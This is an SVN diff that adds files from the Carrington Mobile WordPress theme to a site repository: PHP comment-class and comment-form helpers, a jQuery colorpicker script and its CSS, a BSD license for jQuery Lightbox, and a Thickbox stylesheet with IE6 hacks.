+		if ( $comment->user_id > 0 && $user = get_userdata($comment->user_id) ) {
+			// For all registered users, 'byuser'
+			$classes[] = 'byuser comment-author-' . $user->user_nicename;
+			// For comment authors who are the author of the post
+			if ( $post = get_post($post_id) ) {
+				if ( $comment->user_id === $post->post_author )
+					$classes[] = 'bypostauthor';
+			}
+		}
+
+		if ( empty($comment_alt) )
+			$comment_alt = 0;
+		if ( empty($comment_depth) )
+			$comment_depth = 1;
+		if ( empty($comment_thread_alt) )
+			$comment_thread_alt = 0;
+
+		if ( $comment_alt % 2 ) {
+			$classes[] = 'odd';
+			$classes[] = 'alt';
+		} else {
+			$classes[] = 'even';
+		}
+
+		$comment_alt++;
+
+		// Alt for top-level comments
+		if ( 1 == $comment_depth ) {
+			if ( $comment_thread_alt % 2 ) {
+				$classes[] = 'thread-odd';
+				$classes[] = 'thread-alt';
+			} else {
+				$classes[] = 'thread-even';
+			}
+			$comment_thread_alt++;
+		}
+
+		$classes[] = "depth-$comment_depth";
+
+		if ( !empty($class) ) {
+			if ( !is_array( $class ) )
+				$class = preg_split('#\s+#', $class);
+			$classes = array_merge($classes, $class);
+		}
+
+		return apply_filters('comment_class', $classes, $class, $comment_id, $post_id);
+	}
+}
+
+/**
+ * Outputs hidden fields for comment form with unique IDs, based on post ID, making it safe for AJAX pull.
+ */
+function cfct_comment_id_fields() {
+	global $id;
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+	echo "<input type='hidden' name='comment_post_ID' value='$id' id='comment_post_ID_p$id' />\n";
+	echo "<input type='hidden' name='comment_parent' id='comment_parent_p$id' value='$replytoid' />\n";
+}
+
+/**
+ * Filter the comment reply link to add a unique unique ID, based on post ID, making it safe for AJAX pull.
+ */
+function cfct_get_cancel_comment_reply_link($reply_link, $link, $text) {
+	global $post;
+	
+	if ( !empty($text) ) { $text = __('Cancel', 'carrington'); }
+	
+	$style = '';
+	if (!isset($_GET['replytocom'])) {
+		$style = ' style="display:none;"';
+	}
+	
+	$reply_link = '<a rel="nofollow" id="cancel-comment-reply-link-p' . $post->ID . '" href="' . $link . '-p' . $post->ID . '"' . $style . '>' . $text . '</a>';
+	return $reply_link;
+}
+
+// For meeting wordpress.org requirements
+/*
+get_avatar();
+the_tags();
+register_sidebar('none');
+bloginfo('description');
+wp_head();
+wp_footer();
+*/
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/css/colorpicker.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/css/colorpicker.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/css/colorpicker.css	(revision 44)
@@ -0,0 +1,161 @@
+.colorpicker {
+	width: 356px;
+	height: 176px;
+	overflow: hidden;
+	position: absolute;
+	background: url(../images/colorpicker/colorpicker_background.png);
+	font-family: Arial, Helvetica, sans-serif;
+	display: none;
+}
+.colorpicker_color {
+	width: 150px;
+	height: 150px;
+	left: 14px;
+	top: 13px;
+	position: absolute;
+	background: #f00;
+	overflow: hidden;
+	cursor: crosshair;
+}
+.colorpicker_color div {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 150px;
+	height: 150px;
+	background: url(../images/colorpicker/colorpicker_overlay.png);
+}
+.colorpicker_color div div {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 11px;
+	height: 11px;
+	overflow: hidden;
+	background: url(../images/colorpicker/colorpicker_select.gif);
+	margin: -5px 0 0 -5px;
+}
+.colorpicker_hue {
+	position: absolute;
+	top: 13px;
+	left: 171px;
+	width: 35px;
+	height: 150px;
+	cursor: n-resize;
+}
+.colorpicker_hue div {
+	position: absolute;
+	width: 35px;
+	height: 9px;
+	overflow: hidden;
+	background: url(../images/colorpicker/colorpicker_indic.gif) left top;
+	margin: -4px 0 0 0;
+	left: 0px;
+}
+.colorpicker_new_color {
+	position: absolute;
+	width: 60px;
+	height: 30px;
+	left: 213px;
+	top: 13px;
+	background: #f00;
+}
+.colorpicker_current_color {
+	position: absolute;
+	width: 60px;
+	height: 30px;
+	left: 283px;
+	top: 13px;
+	background: #f00;
+}
+.colorpicker input {
+	background-color: transparent;
+	border: 1px solid transparent;
+	position: absolute;
+	font-size: 10px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #898989;
+	top: 4px;
+	right: 11px;
+	text-align: right;
+	margin: 0;
+	padding: 0;
+	height: 11px;
+}
+.colorpicker_hex {
+	position: absolute;
+	width: 72px;
+	height: 22px;
+	background: url(../images/colorpicker/colorpicker_hex.png) top;
+	left: 212px;
+	top: 142px;
+}
+.colorpicker_hex input {
+	right: 6px;
+}
+.colorpicker_field {
+	height: 22px;
+	width: 62px;
+	background-position: top;
+	position: absolute;
+}
+.colorpicker_field span {
+	position: absolute;
+	width: 12px;
+	height: 22px;
+	overflow: hidden;
+	top: 0;
+	right: 0;
+	cursor: n-resize;
+}
+.colorpicker_rgb_r {
+	background-image: url(../images/colorpicker/colorpicker_rgb_r.png);
+	top: 52px;
+	left: 212px;
+}
+.colorpicker_rgb_g {
+	background-image: url(../images/colorpicker/colorpicker_rgb_g.png);
+	top: 82px;
+	left: 212px;
+}
+.colorpicker_rgb_b {
+	background-image: url(../images/colorpicker/colorpicker_rgb_b.png);
+	top: 112px;
+	left: 212px;
+}
+.colorpicker_hsb_h {
+	background-image: url(../images/colorpicker/colorpicker_hsb_h.png);
+	top: 52px;
+	left: 282px;
+}
+.colorpicker_hsb_s {
+	background-image: url(../images/colorpicker/colorpicker_hsb_s.png);
+	top: 82px;
+	left: 282px;
+}
+.colorpicker_hsb_b {
+	background-image: url(../images/colorpicker/colorpicker_hsb_b.png);
+	top: 112px;
+	left: 282px;
+}
+.colorpicker_submit {
+	position: absolute;
+	width: 22px;
+	height: 22px;
+	background: url(../images/colorpicker/colorpicker_submit.png) top;
+	left: 322px;
+	top: 142px;
+	overflow: hidden;
+}
+.colorpicker_focus {
+	background-position: center;
+}
+.colorpicker_hex.colorpicker_focus {
+	background-position: bottom;
+}
+.colorpicker_submit.colorpicker_focus {
+	background-position: bottom;
+}
+.colorpicker_slider {
+	background-position: bottom;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/js/colorpicker.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/js/colorpicker.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/js/colorpicker.js	(revision 44)
@@ -0,0 +1,490 @@
+/**
+ *
+ * Color picker
+ * Author: Stefan Petre www.eyecon.ro
+ * 
+ */
+(function ($) {
+	var ColorPicker = function () {
+		var
+			ids = {},
+			inAction,
+			charMin = 65,
+			visible,
+			tpl = '<div class="colorpicker"><div class="colorpicker_color"><div><div></div></div></div><div class="colorpicker_hue"><div></div></div><div class="colorpicker_new_color"></div><div class="colorpicker_current_color"></div><div class="colorpicker_hex"><input type="text" maxlength="6" size="6" /></div><div class="colorpicker_rgb_r colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_rgb_g colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_rgb_b colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_h colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_s colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_b colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_submit"></div></div>',
+			defaults = {
+				eventName: 'click',
+				onShow: function () {},
+				onBeforeShow: function(){},
+				onHide: function () {},
+				onChange: function () {},
+				onSubmit: function () {},
+				color: 'ff0000',
+				livePreview: true,
+				flat: false
+			},
+			fillRGBFields = function  (hsb, cal) {
+				var rgb = HSBToRGB(hsb);
+				$(cal).data('colorpicker').fields
+					.eq(1).val(rgb.r).end()
+					.eq(2).val(rgb.g).end()
+					.eq(3).val(rgb.b).end();
+			},
+			fillHSBFields = function  (hsb, cal) {
+				$(cal).data('colorpicker').fields
+					.eq(4).val(hsb.h).end()
+					.eq(5).val(hsb.s).end()
+					.eq(6).val(hsb.b).end();
+			},
+			fillHexFields = function (hsb, cal) {
+				$(cal).data('colorpicker').fields
+					.eq(0).val(HSBToHex(hsb)).end();
+			},
+			setSelector = function (hsb, cal) {
+				$(cal).data('colorpicker').selector.css('backgroundColor', '#' + HSBToHex({h: hsb.h, s: 100, b: 100}));
+				$(cal).data('colorpicker').selectorIndic.css({
+					left: parseInt(150 * hsb.s/100, 10),
+					top: parseInt(150 * (100-hsb.b)/100, 10)
+				});
+			},
+			setHue = function (hsb, cal) {
+				$(cal).data('colorpicker').hue.css('top', parseInt(150 - 150 * hsb.h/360, 10));
+			},
+			setCurrentColor = function (hsb, cal) {
+				$(cal).data('colorpicker').currentColor.css('backgroundColor', '#' + HSBToHex(hsb));
+			},
+			setNewColor = function (hsb, cal) {
+				$(cal).data('colorpicker').newColor.css('backgroundColor', '#' + HSBToHex(hsb));
+			},
+			keyDown = function (ev) {
+				var pressedKey = ev.charCode || ev.keyCode || -1;
+				if ((pressedKey > charMin && pressedKey <= 90) || pressedKey == 32) {
+					return false;
+				}
+				var cal = $(this).parent().parent();
+				if (cal.data('colorpicker').livePreview === true) {
+					change.apply(this);
+				}
+			},
+			change = function (ev) {
+				var cal = $(this).parent().parent(), col;
+				if (this.parentNode.className.indexOf('_hex') > 0) {
+					cal.data('colorpicker').color = col = HexToHSB(fixHex(this.value));
+				} else if (this.parentNode.className.indexOf('_hsb') > 0) {
+					cal.data('colorpicker').color = col = fixHSB({
+						h: parseInt(cal.data('colorpicker').fields.eq(4).val(), 10),
+						s: parseInt(cal.data('colorpicker').fields.eq(5).val(), 10),
+						b: parseInt(cal.data('colorpicker').fields.eq(6).val(), 10)
+					});
+				} else {
+					cal.data('colorpicker').color = col = RGBToHSB(fixRGB({
+						r: parseInt(cal.data('colorpicker').fields.eq(1).val(), 10),
+						g: parseInt(cal.data('colorpicker').fields.eq(2).val(), 10),
+						b: parseInt(cal.data('colorpicker').fields.eq(3).val(), 10)
+					}));
+				}
+				if (ev) {
+					fillRGBFields(col, cal.get(0));
+					fillHexFields(col, cal.get(0));
+					fillHSBFields(col, cal.get(0));
+				}
+				setSelector(col, cal.get(0));
+				setHue(col, cal.get(0));
+				setNewColor(col, cal.get(0));
+				cal.data('colorpicker').onChange.apply(cal, [col, HSBToHex(col), HSBToRGB(col)]);
+			},
+			blur = function (ev) {
+				var cal = $(this).parent().parent();
+				cal.data('colorpicker').fields.parent().removeClass('colorpicker_focus')
+			},
+			focus = function () {
+				charMin = this.parentNode.className.indexOf('_hex') > 0 ? 70 : 65;
+				$(this).parent().parent().data('colorpicker').fields.parent().removeClass('colorpicker_focus');
+				$(this).parent().addClass('colorpicker_focus');
+			},
+			downIncrement = function (ev) {
+				var field = $(this).parent().find('input').focus();
+				var current = {
+					el: $(this).parent().addClass('colorpicker_slider'),
+					max: this.parentNode.className.indexOf('_hsb_h') > 0 ? 360 : (this.parentNode.className.indexOf('_hsb') > 0 ? 100 : 255),
+					y: ev.pageY,
+					field: field,
+					val: parseInt(field.val(), 10),
+					preview: $(this).parent().parent().data('colorpicker').livePreview					
+				};
+				$(document).bind('mouseup', current, upIncrement);
+				$(document).bind('mousemove', current, moveIncrement);
+			},
+			moveIncrement = function (ev) {
+				ev.data.field.val(Math.max(0, Math.min(ev.data.max, parseInt(ev.data.val + ev.pageY - ev.data.y, 10))));
+				if (ev.data.preview) {
+					change.apply(ev.data.field.get(0), [true]);
+				}
+				return false;
+			},
+			upIncrement = function (ev) {
+				change.apply(ev.data.field.get(0), [true]);
+				ev.data.el.removeClass('colorpicker_slider').find('input').focus();
+				$(document).unbind('mouseup', upIncrement);
+				$(document).unbind('mousemove', moveIncrement);
+				return false;
+			},
+			downHue = function (ev) {
+				var current = {
+					cal: $(this).parent(),
+					y: $(this).offset().top
+				};
+				current.preview = current.cal.data('colorpicker').livePreview;
+				$(document).bind('mouseup', current, upHue);
+				$(document).bind('mousemove', current, moveHue);
+			},
+			moveHue = function (ev) {
+				change.apply(
+					ev.data.cal.data('colorpicker')
+						.fields
+						.eq(4)
+						.val(parseInt(360*(150 - Math.max(0,Math.min(150,(ev.pageY - ev.data.y))))/150, 10))
+						.get(0),
+					[ev.data.preview]
+				);
+				return false;
+			},
+			upHue = function (ev) {
+				fillRGBFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				fillHexFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				$(document).unbind('mouseup', upHue);
+				$(document).unbind('mousemove', moveHue);
+				return false;
+			},
+			downSelector = function (ev) {
+				var current = {
+					cal: $(this).parent(),
+					pos: $(this).offset()
+				};
+				current.preview = current.cal.data('colorpicker').livePreview;
+				$(document).bind('mouseup', current, upSelector);
+				$(document).bind('mousemove', current, moveSelector);
+			},
+			moveSelector = function (ev) {
+				change.apply(
+					ev.data.cal.data('colorpicker')
+						.fields
+						.eq(6)
+						.val(parseInt(100*(150 - Math.max(0,Math.min(150,(ev.pageY - ev.data.pos.top))))/150, 10))
+						.end()
+						.eq(5)
+						.val(parseInt(100*(Math.max(0,Math.min(150,(ev.pageX - ev.data.pos.left))))/150, 10))
+						.get(0),
+					[ev.data.preview]
+				);
+				return false;
+			},
+			upSelector = function (ev) {
+				fillRGBFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				fillHexFields(ev.data.cal.data('colorpicker').color, ev.data.cal.get(0));
+				$(document).unbind('mouseup', upSelector);
+				$(document).unbind('mousemove', moveSelector);
+				return false;
+			},
+			enterSubmit = function (ev) {
+				$(this).addClass('colorpicker_focus');
+			},
+			leaveSubmit = function (ev) {
+				$(this).removeClass('colorpicker_focus');
+			},
+			clickSubmit = function (ev) {
+				var cal = $(this).parent();
+				var col = cal.data('colorpicker').color;
+				cal.data('colorpicker').origColor = col;
+				setCurrentColor(col, cal.get(0));
+				cal.data('colorpicker').onSubmit(col, HSBToHex(col), HSBToRGB(col));
+			},
+			show = function (ev) {
+				var cal = $('#' + $(this).data('colorpickerId'));
+				cal.data('colorpicker').onBeforeShow.apply(this, [cal.get(0)]);
+				var pos = $(this).offset();
+				var viewPort = getViewport();
+				var top = pos.top + this.offsetHeight;
+				var left = pos.left;
+				if (top + 176 > viewPort.t + viewPort.h) {
+					top -= this.offsetHeight + 176;
+				}
+				if (left + 356 > viewPort.l + viewPort.w) {
+					left -= 356;
+				}
+				cal.css({left: left + 'px', top: top + 'px'});
+				if (cal.data('colorpicker').onShow.apply(this, [cal.get(0)]) != false) {
+					cal.show();
+				}
+				$(document).bind('mousedown', {cal: cal}, hide);
+				return false;
+			},
+			hide = function (ev) {
+				if (!isChildOf(ev.data.cal.get(0), ev.target, ev.data.cal.get(0))) {
+					if (ev.data.cal.data('colorpicker').onHide.apply(this, [ev.data.cal.get(0)]) != false) {
+						ev.data.cal.hide();
+					}
+					$(document).unbind('mousedown', hide);
+				}
+			},
+			isChildOf = function(parentEl, el, container) {
+				if (parentEl == el) {
+					return true;
+				}
+				if (parentEl.contains) {
+					return parentEl.contains(el);
+				}
+				if ( parentEl.compareDocumentPosition ) {
+					return !!(parentEl.compareDocumentPosition(el) & 16);
+				}
+				var prEl = el.parentNode;
+				while(prEl && prEl != container) {
+					if (prEl == parentEl)
+						return true;
+					prEl = prEl.parentNode;
+				}
+				return false;
+			},
+			getViewport = function () {
+				var m = document.compatMode == 'CSS1Compat';
+				return {
+					l : window.pageXOffset || (m ? document.documentElement.scrollLeft : document.body.scrollLeft),
+					t : window.pageYOffset || (m ? document.documentElement.scrollTop : document.body.scrollTop),
+					w : window.innerWidth || (m ? document.documentElement.clientWidth : document.body.clientWidth),
+					h : window.innerHeight || (m ? document.documentElement.clientHeight : document.body.clientHeight)
+				};
+			},
+			fixHSB = function (hsb) {
+				return {
+					h: Math.min(360, Math.max(0, hsb.h)),
+					s: Math.min(100, Math.max(0, hsb.s)),
+					b: Math.min(100, Math.max(0, hsb.b))
+				};
+			}, 
+			fixRGB = function (rgb) {
+				return {
+					r: Math.min(255, Math.max(0, rgb.r)),
+					g: Math.min(255, Math.max(0, rgb.g)),
+					b: Math.min(255, Math.max(0, rgb.b))
+				};
+			},
+			fixHex = function (hex) {
+				var len = 6 - hex.length;
+				if (len > 0) {
+					var o = [];
+					for (var i=0; i<len; i++) {
+						o.push('0');
+					}
+					o.push(hex);
+					hex = o.join('');
+				}
+				return hex;
+			}, 
+			HexToRGB = function (hex) {
+				var hex = parseInt(((hex.indexOf('#') > -1) ? hex.substring(1) : hex), 16);
+				return {r: hex >> 16, g: (hex & 0x00FF00) >> 8, b: (hex & 0x0000FF)};
+			},
+			HexToHSB = function (hex) {
+				return RGBToHSB(HexToRGB(hex));
+			},
+			RGBToHSB = function (rgb) {
+				var hsb = {};
+				hsb.b = Math.max(Math.max(rgb.r,rgb.g),rgb.b);
+				hsb.s = (hsb.b <= 0) ? 0 : Math.round(100*(hsb.b - Math.min(Math.min(rgb.r,rgb.g),rgb.b))/hsb.b);
+				hsb.b = Math.round((hsb.b /255)*100);
+				if((rgb.r==rgb.g) && (rgb.g==rgb.b)) hsb.h = 0;
+				else if(rgb.r>=rgb.g && rgb.g>=rgb.b) hsb.h = 60*(rgb.g-rgb.b)/(rgb.r-rgb.b);
+				else if(rgb.g>=rgb.r && rgb.r>=rgb.b) hsb.h = 60  + 60*(rgb.g-rgb.r)/(rgb.g-rgb.b);
+				else if(rgb.g>=rgb.b && rgb.b>=rgb.r) hsb.h = 120 + 60*(rgb.b-rgb.r)/(rgb.g-rgb.r);
+				else if(rgb.b>=rgb.g && rgb.g>=rgb.r) hsb.h = 180 + 60*(rgb.b-rgb.g)/(rgb.b-rgb.r);
+				else if(rgb.b>=rgb.r && rgb.r>=rgb.g) hsb.h = 240 + 60*(rgb.r-rgb.g)/(rgb.b-rgb.g);
+				else if(rgb.r>=rgb.b && rgb.b>=rgb.g) hsb.h = 300 + 60*(rgb.r-rgb.b)/(rgb.r-rgb.g);
+				else hsb.h = 0;
+				hsb.h = Math.round(hsb.h);
+				return hsb;
+			},
+			HSBToRGB = function (hsb) {
+				var rgb = {};
+				var h = Math.round(hsb.h);
+				var s = Math.round(hsb.s*255/100);
+				var v = Math.round(hsb.b*255/100);
+				if(s == 0) {
+					rgb.r = rgb.g = rgb.b = v;
+				} else {
+					var t1 = v;
+					var t2 = (255-s)*v/255;
+					var t3 = (t1-t2)*(h%60)/60;
+					if(h==360) h = 0;
+					if(h<60) {rgb.r=t1;	rgb.b=t2; rgb.g=t2+t3}
+					else if(h<120) {rgb.g=t1; rgb.b=t2;	rgb.r=t1-t3}
+					else if(h<180) {rgb.g=t1; rgb.r=t2;	rgb.b=t2+t3}
+					else if(h<240) {rgb.b=t1; rgb.r=t2;	rgb.g=t1-t3}
+					else if(h<300) {rgb.b=t1; rgb.g=t2;	rgb.r=t2+t3}
+					else if(h<360) {rgb.r=t1; rgb.g=t2;	rgb.b=t1-t3}
+					else {rgb.r=0; rgb.g=0;	rgb.b=0}
+				}
+				return {r:Math.round(rgb.r), g:Math.round(rgb.g), b:Math.round(rgb.b)};
+			},
+			RGBToHex = function (rgb) {
+				var hex = [
+					rgb.r.toString(16),
+					rgb.g.toString(16),
+					rgb.b.toString(16)
+				];
+				$.each(hex, function (nr, val) {
+					if (val.length == 1) {
+						hex[nr] = '0' + val;
+					}
+				});
+				return hex.join('');
+			},
+			HSBToHex = function (hsb) {
+				return RGBToHex(HSBToRGB(hsb));
+			};
+		return {
+			init: function (options) {
+				options = $.extend({}, defaults, options||{});
+				if (typeof options.color == 'string') {
+					options.color = HexToHSB(options.color);
+				} else if (options.color.r != undefined && options.color.g != undefined && options.color.b != undefined) {
+					options.color = RGBToHSB(options.color);
+				} else if (options.color.h != undefined && options.color.s != undefined && options.color.b != undefined) {
+					options.color = fixHSB(options.color);
+				} else {
+					return this;
+				}
+				options.origColor = options.color;
+				return this.each(function () {
+					if (!$(this).data('colorpickerId')) {
+						var id = 'collorpicker_' + parseInt(Math.random() * 1000);
+						$(this).data('colorpickerId', id);
+						var cal = $(tpl).attr('id', id);
+						if (options.flat) {
+							cal.appendTo(this).show();
+						} else {
+							cal.appendTo(document.body);
+						}
+						options.fields = cal
+											.find('input')
+												.bind('keydown', keyDown)
+												.bind('change', change)
+												.bind('blur', blur)
+												.bind('focus', focus);
+						cal.find('span').bind('mousedown', downIncrement);
+						options.selector = cal.find('div.colorpicker_color').bind('mousedown', downSelector);
+						options.selectorIndic = options.selector.find('div div');
+						options.hue = cal.find('div.colorpicker_hue div');
+						cal.find('div.colorpicker_hue').bind('mousedown', downHue);
+						options.newColor = cal.find('div.colorpicker_new_color');
+						options.currentColor = cal.find('div.colorpicker_current_color');
+						cal.data('colorpicker', options);
+						cal.find('div.colorpicker_submit')
+							.bind('mouseenter', enterSubmit)
+							.bind('mouseleave', leaveSubmit)
+							.bind('click', clickSubmit);
+						fillRGBFields(options.color, cal.get(0));
+						fillHSBFields(options.color, cal.get(0));
+						fillHexFields(options.color, cal.get(0));
+						setHue(options.color, cal.get(0));
+						setSelector(options.color, cal.get(0));
+						setCurrentColor(options.color, cal.get(0));
+						setNewColor(options.color, cal.get(0));
+						if (options.flat) {
+							cal.css({
+								position: 'relative',
+								display: 'block'
+							});
+						} else {
+							$(this).bind(options.eventName, show);
+						}
+					}
+				});
+			},
+			showPicker: function() {
+				return this.each( function () {
+					if ($(this).data('colorpickerId')) {
+						show.apply(this);
+					}
+				});
+			},
+			hidePicker: function() {
+				return this.each( function () {
+					if ($(this).data('colorpickerId')) {
+						$('#' + $(this).data('colorpickerId')).hide();
+					}
+				});
+			},
+			setColor: function(col) {
+				if (typeof col == 'string') {
+					col = HexToHSB(col);
+				} else if (col.r != undefined && col.g != undefined && col.b != undefined) {
+					col = RGBToHSB(col);
+				} else if (col.h != undefined && col.s != undefined && col.b != undefined) {
+					col = fixHSB(col);
+				} else {
+					return this;
+				}
+				return this.each(function(){
+					if ($(this).data('colorpickerId')) {
+						var cal = $('#' + $(this).data('colorpickerId'));
+						cal.data('colorpicker').color = col;
+						cal.data('colorpicker').origColor = col;
+						fillRGBFields(col, cal.get(0));
+						fillHSBFields(col, cal.get(0));
+						fillHexFields(col, cal.get(0));
+						setHue(col, cal.get(0));
+						setSelector(col, cal.get(0));
+						setCurrentColor(col, cal.get(0));
+						setNewColor(col, cal.get(0));
+					}
+				});
+			}
+		};
+	}();
+	$.fn.extend({
+		ColorPicker: ColorPicker.init,
+		ColorPickerHide: ColorPicker.hide,
+		ColorPickerShow: ColorPicker.show,
+		ColorPickerSetColor: ColorPicker.setColor
+	});
+})(jQuery)
+
+// hex to decimal code found here and used with minor modification: http://www.telerik.com/community/forums/aspnet-ajax/colorpicker/calculate-color-contrast-in-javascript.aspx
+function getDec(hexChar) {
+	if (typeof hexChar == 'undefined') {
+		return 0;
+	}
+	switch(hexChar.toUpperCase()) {
+		case '0': return 0;
+		case '1': return 1;
+		case '2': return 2;
+		case '3': return 3;
+		case '4': return 4;
+		case '5': return 5;
+		case '6': return 6;
+		case '7': return 7;
+		case '8': return 8;
+		case '9': return 9;
+		case 'A': return 10;
+		case 'B': return 11;
+		case 'C': return 12;
+		case 'D': return 13;
+		case 'E': return 14;
+		case 'F': return 15;
+	};
+}
+function hexToDec(hex) {
+	var colorChars = hex.split('');
+	var dec = (getDec(colorChars[0]) * 16) + getDec(colorChars[1]);
+	return dec;
+}
+function getRGB(color) {
+	// remove the '#'
+	if (color.indexOf('#') != -1) {
+		color = color.substring(color.indexOf('#') + 1);
+	}
+	var r = hexToDec(color.substr(0, 2));
+	var g = hexToDec(color.substr(2, 2));
+	var b = hexToDec(color.substr(4, 2));
+	return { r: r, g: g, b: b};
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/LICENSE.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/LICENSE.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/LICENSE.txt	(revision 44)
@@ -0,0 +1,30 @@
+Software License Agreement (BSD License)
+
+Copyright (c) 2008 Warren Krewenki
+All rights reserved.
+
+Redistribution and use of this software in source and binary forms, with or without modification, are
+permitted provided that the following conditions are met:
+
+* Redistributions of source code must retain the above
+  copyright notice, this list of conditions and the
+  following disclaimer.
+
+* Redistributions in binary form must reproduce the above
+  copyright notice, this list of conditions and the
+  following disclaimer in the documentation and/or other
+  materials provided with the distribution.
+
+* Neither the name of jQuery Lightbox nor the names of its
+  contributors may be used to endorse or promote products
+  derived from this software without specific prior
+  written permission of jQuery Lightbox.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
+WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/css/thickbox.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/css/thickbox.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/css/thickbox.css	(revision 44)
@@ -0,0 +1,157 @@
+/* ----------------------------------------------------------------------------------------------------------------*/
+/* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/
+/* ----------------------------------------------------------------------------------------------------------------*/
+#TB_overlay {
+	position: fixed;
+	z-index:100;
+	top: 0px;
+	left: 0px;
+	height:100%;
+	width:100%;
+}
+
+.TB_overlayMacFFBGHack {background: url(../img/macFFBgHack.png) repeat;}
+.TB_overlayBG {
+	background-color:#000;
+	filter:alpha(opacity=75);
+	-moz-opacity: 0.75;
+	opacity: 0.75;
+}
+
+* html #TB_overlay { /* ie6 hack */
+     position: absolute;
+     height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
+
+#TB_window {
+	position: fixed;
+	background: #ffffff;
+	z-index: 102;
+	display:none;
+	border: 2px solid #ccc;
+	text-align:left;
+	top:50%;
+	left:50%;
+}
+
+* html #TB_window { /* ie6 hack */
+position: absolute;
+margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_window img#TB_Image {
+	display:block;
+}
+
+#TB_caption{
+	padding:7px 30px 10px 25px;
+	float:left;
+	overflow:hidden;
+	word-wrap: break-word;
+}
+
+#TB_closeWindow{
+	height:25px;
+	padding:11px 25px 10px 0;
+	float:right;
+}
+
+#TB_closeAjaxWindow{
+	float:right;
+	padding:5px 15px 5px 0;
+	margin-bottom:1px;
+	text-align:right;
+}
+
+#TB_ajaxWindowTitle{
+	float:left;
+	padding:5px 0 5px 15px;
+}
+
+#TB_title{
+	height:27px;
+}
+
+#TB_ImageWrapper {
+	margin:15px 15px 0;
+	position:relative;
+}
+#TB_ImageHoverNav {
+	height:100%;
+	top:0;
+	width: 100%;
+	position:absolute;
+	zoom:1;
+}
+a#TB_prev,
+a#TB_next {
+	background:transparent url(../img/blank.gif); /* IE6 hover area hack */
+	height:100%;
+	width: 49%;
+	text-indent:-32000px;
+}
+a#TB_prev {
+	float:left;
+}
+a#TB_next {
+	float:right;
+}
+
+#TB_ajaxContent{
+	clear:both;
+	padding:2px 15px 15px 15px;
+	overflow:auto;
+	text-align:left;
+	line-height:1.4em;
+}
+
+#TB_ajaxContent.TB_modal{
+	padding:15px;
+}
+
+#TB_ajaxContent p{
+	padding:5px 0px 5px 0px;
+}
+
+#TB_load{
+	position: fixed;
+	display:none;
+	height:13px;
+	width:208px;
+	z-index:103;
+	top: 50%;
+	left: 50%;
+	margin: -6px 0 0 -104px; /* -height/2 0 0 -width/2 */
+}
+
+* html #TB_load { /* ie6 hack */
+position: absolute;
+margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_HideSelect{
+	z-index:99;
+	position:fixed;
+	top: 0;
+	left: 0;
+	background-color:#fff;
+	border:none;
+	filter:alpha(opacity=0);
+	-moz-opacity: 0;
+	opacity: 0;
+	height:100%;
+	width:100%;
+}
+
+* html #TB_HideSelect { /* ie6 hack */
+     position: absolute;
+     height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
